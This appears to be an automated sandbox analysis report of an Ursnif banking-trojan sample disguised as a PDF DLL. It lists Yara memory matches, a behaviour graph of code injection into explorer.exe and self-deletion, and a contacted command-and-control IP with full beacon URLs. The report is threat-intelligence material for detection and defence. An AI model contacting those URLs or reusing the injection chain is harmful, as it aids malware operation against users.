Source: Yara match File source: 00000004.00000003.424644302.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424536633.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.476686328.0000000004CCC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.424457867.0000000004EC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 3340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6636, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 5008, type: MEMORYSTR
Source: Yara match File source: 4.2.rundll32.exe.ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.48e94a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4dca4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e76b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.rundll32.exe.4e494a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.601015727.0000000004B4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.543939686.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.599055996.00000000048E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.542346452.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.599465657.00000000008E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475223060.0000000004DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000000.544562349.00000000009F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.475254135.0000000004E49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 617386 Sample: 626a97fea05c8.pdf.dll Startdate: 28/04/2022 Architecture: WINDOWS Score: 100 64 Snort IDS alert for network traffic 2->64 66 Found malware configuration 2->66 68 Yara detected  Ursnif 2->68 70 9 other signatures 2->70 11 loaddll32.exe 1 2->11         started        13 mshta.exe 19 2->13         started        process3 process4 15 cmd.exe 1 11->15         started        17 powershell.exe 33 13->17         started        signatures5 20 rundll32.exe 1 6 15->20         started        56 Injects code into the Windows Explorer (explorer.exe) 17->56 58 Writes to foreign memory regions 17->58 60 Modifies the context of a thread in another process (thread injection) 17->60 62 2 other signatures 17->62 24 csc.exe 3 17->24         started        27 csc.exe 3 17->27         started        29 conhost.exe 17->29         started        process6 dnsIp7 54 94.140.115.8, 49750, 80 NANO-ASLV Latvia 20->54 72 System process connects to network (likely due to code injection or exploit) 20->72 74 Writes to foreign memory regions 20->74 76 Allocates memory in foreign processes 20->76 78 3 other signatures 20->78 31 control.exe 20->31         started        50 C:\Users\user\AppData\Local\...\vx43imot.dll, PE32 24->50 dropped 34 cvtres.exe 1 24->34         started        52 C:\Users\user\AppData\Local\...\pyir2nwc.dll, PE32 27->52 dropped 36 cvtres.exe 1 27->36         started        file8 signatures9 process10 signatures11 90 Changes memory attributes in foreign processes to executable or writable 31->90 92 Injects code into the Windows Explorer (explorer.exe) 31->92 94 Writes to foreign memory regions 31->94 96 4 other signatures 31->96 38 explorer.exe 1 3 31->38 injected process12 signatures13 80 Self deletion via cmd delete 38->80 82 Disables SPDY (HTTP compression, likely to perform web injects) 38->82 84 Creates a thread in another existing process (thread injection) 38->84 41 cmd.exe 1 38->41         started        44 RuntimeBroker.exe 38->44 injected process14 signatures15 86 Uses ping.exe to sleep 41->86 88 Uses ping.exe to check the status of other devices and networks 41->88 46 conhost.exe 41->46         started        48 PING.EXE 1 41->48         started        process16
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
94.140.115.8
 unknown Latvia
43513 NANO-ASLV true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://94.140.115.8/drew/LtgGoR4W/2VkXik7fjDcVktkLvg4IApw/X92UzCdVgy/XGxL6WnODxABmAmav/eQYJObhAwpfD/VdmVLoyMEHz/dwiltyOKA4QHrd/HIJmqKTpq7hYAhh7xdD_2/BebjcoubFQh657nc/ksw26clyZ6v7ljU/oLbDPDTt1qYXqZfF_2/Fct2ocSBw/YaWKTOq17vIwu56czhmj/mDU1dku9eqq5aKu5F_2/FjqClysn2ko_2Fsx8SaFZF/ugZkpFnnMo_2B/poGcHSuZrc7hSygj/D8.jlk true
  • Avira URL Cloud: safe
 unknown
http://94.140.115.8/drew/lAbS1TW8Ry8K_2Fy_2F02/IsWfDHUCh87tGSw4/6lgCxLe1Qs4WPGx/DknDiIGwAkcSSAjTq_/2BfvJx7dx/1hlTGDAg0PRAb8RWrNXa/OnwJqcZ0UkVEA4nNNEX/rU_2BEpbIQ3L_2FTXhvUWT/8ZfWEtxix63AY/iFey05B2/gKLIqEyGvdF_2FQqfOcIngQ/d4nr47OKVK/s16bIA5z3PH2z3706/OF3C_2BAmDzq/p9S3fF0IaVA/8GI4MffuRsVQDp/0oN_2BdvJJV7wESzGZsla/_2FLi.jlk true
  • Avira URL Cloud: safe
 unknown
http://94.140.115.8/drew/NiEEiC_2F3/2h7kr_2B2M1EBpHcH/ENyHLalFXmOl/_2FTW0ecUVe/3N7nldlK89kw4y/VYeID7sRLB3A_2FAgFg0G/a5El_2BO7WD36Nlp/el4uE7tHR4Z8M9p/QG4TJaEWODl3HaYCH4/kP01txLgC/1iGXgYXBwcTcIgoIP92G/0JSXT0rNb0xnVvZFyXY/gCk_2F7aTYUhOqcRrdrBn4/EZOQnHcHRUgv3/B5BfYkj9/KpyjZ64W8U3keBpCjw85kZ4/8t_2Bri7RNBUNE3Y/8jsFDn.jlk true
  • Avira URL Cloud: safe
 unknown